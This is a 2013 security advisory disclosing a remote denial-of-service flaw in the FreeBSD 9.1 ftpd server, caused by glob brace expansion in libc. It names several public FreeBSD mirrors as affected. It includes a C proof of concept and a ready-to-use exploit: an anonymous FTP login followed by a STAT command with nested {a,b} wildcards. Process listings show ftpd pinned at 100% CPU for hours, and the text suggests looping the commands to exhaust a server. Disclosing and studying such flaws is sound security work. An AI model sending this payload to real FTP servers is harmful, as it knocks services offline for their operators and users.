FreeBSD 9.1 ftpd Remote Denial of Service Maksymilian Arciemowicz http://cxsecurity.org/ http://cxsec.org/ Public Date: 01.02.2013 URL: http://cxsecurity.com/issue/WLB-2013020003 Affected servers: - ftp.uk.freebsd.org, - ftp.ua.freebsd.org, - ftp5.freebsd.org, - ftp5.us.freebsd.org, - ftp10.freebsd.org, - ftp3.uk.freebsd.org, - ftp7.ua.freebsd.org, - ftp2.se.freebsd.org, - ftp2.za.FreeBSD.org, - ftp2.ru.freebsd.org, - ftp2.pl.freebsd.org and more... --- 1. Description --- I have decided check BSD ftpd servers once again for wildcards. Old bug in libc (CVE-2011-0418) allow to Denial of Service ftpd in last FreeBSD version. Attacker, what may connect anonymously to FTP server, may cause CPU resource exhaustion. Login as a 'USER anonymous' 'PASS anonymous', sending 'STAT' command with special wildchar, enought to create ftpd process with 100% CPU usage. Proof of Concept (POC): See the difference between NetBSD/libc and FreeBSD/libc. --- PoC --- #include <stdio.h> #include <glob.h> int main(){ glob_t globbuf; char stringa[]="{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}"; glob(stringa,GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE|GLOB_LIMIT, NULL, &globbuf); } --- PoC --- --- Exploit --- user anonymous pass anonymous stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} --- /Exploit --- Result of attack: ftp 13034 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.96 ftpd: cxsec.org anonymous/anonymous (ftpd) ftp 13035 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.89 ftpd: cxsec.org anonymous/anonymous (ftpd) ftp 13036 0.0 0.4 10416 1944 ?? R 10:48PM 0:00.73 ftpd: cxsec.org anonymous/anonymous (ftpd) ftp 13046 0.0 0.4 10416 1952 ?? R 10:48PM 0:00.41 ftpd: cxsec.org anonymous/anonymous (ftpd) ftp 13047 0.0 0.4 10416 1960 ?? R 10:48PM 0:00.42 ftpd: cxsec.org anonymous/anonymous (ftpd) ... root 13219 0.0 0.3 10032 1424 ?? R 10:52PM 0:00.00 /usr/libexec/ftpd -dDA root 13225 0.0 0.3 10032 1428 ?? R 10:52PM 0:00.00 /usr/libexec/ftpd -dDA root 13409 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00 /usr/libexec/ftpd -dDA root 13410 0.0 0.3 10032 1404 ?? R 10:53PM 0:00.00 /usr/libexec/ftpd -dDA ... =>Sending: STAT {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} =>Result: @ps: ftp 1336 100.0 0.5 10416 2360 ?? R 11:15PM 600:39.95 ftpd: 127.0.0.1: anonymous/anonymous@cxsecurity.com: \r\n (ftpd)$ @top: 1336 root 1 103 0 10416K 2360K RUN 600:53 100.00% ftpd one request over 600m (~10h) execution time and 100% CPU usage. This issue allow to create N ftpd processes with 100% CPU usage. Just create loop while(1) and send these commands --- user anonymous pass anonymous stat {a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b} --- NetBSD and OpenBSD has fixed this issue in glob(3)/libc (2011) http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.24&r2=1.23.10.2 The funniest is that freebsd use GLOB_LIMIT in ftpd server. http://www.freebsd.org/cgi/cvsweb.cgi/src/libexec/ftpd/ftpd.c --- if (strpbrk(whichf, "~{[*?") != NULL) { int flags = GLOB_BRACE|GLOB_NOCHECK|GLOB_TILDE; memset(&gl, 0, sizeof(gl)); gl.gl_matchc = MAXGLOBARGS; flags |= GLOB_LIMIT; freeglob = 1; if (glob(whichf, flags, 0, &gl)) { --- but GLOB_LIMIT in FreeBSD dosen't work. glob(3) function allow to CPU resource exhaustion. ;] Libc was also vulnerable in Apple and Oracle products. http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html http://support.apple.com/kb/HT4723 only FreeBSD and GNU glibc are affected --- 2. Exploit --- http://cxsecurity.com/issue/WLB-2013010233 --- 3. Fix --- Don't use ftpd on FreeBSD systems. :) You may use vsftpd to resolve problem with security ;) --- 4. References --- Multiple Vendors libc/glob(3) remote ftpd resource exhaustion http://cxsecurity.com/issue/WLB-2010100135 http://cxsecurity.com/cveshow/CVE-2010-2632 Multiple FTPD Server GLOB_BRACE|GLOB_LIMIT memory exhaustion http://cxsecurity.com/issue/WLB-2011050004 http://cxsecurity.com/cveshow/CVE-2011-0418 More CWE-399 resource exhaustion examples: http://cxsecurity.com/cwe/CWE-399 The regcomp implementation in the GNU C Library allows attackers to cause a denial of service proftpd http://cxsecurity.com/cveshow/CVE-2010-4051 http://cxsecurity.com/cveshow/CVE-2010-4052 http://www.kb.cert.org/vuls/id/912279 --- 5. Contact --- Maksymilian Arciemowicz max 4T cxsecurity.com http://cxsecurity.com/ http://cxsec.org/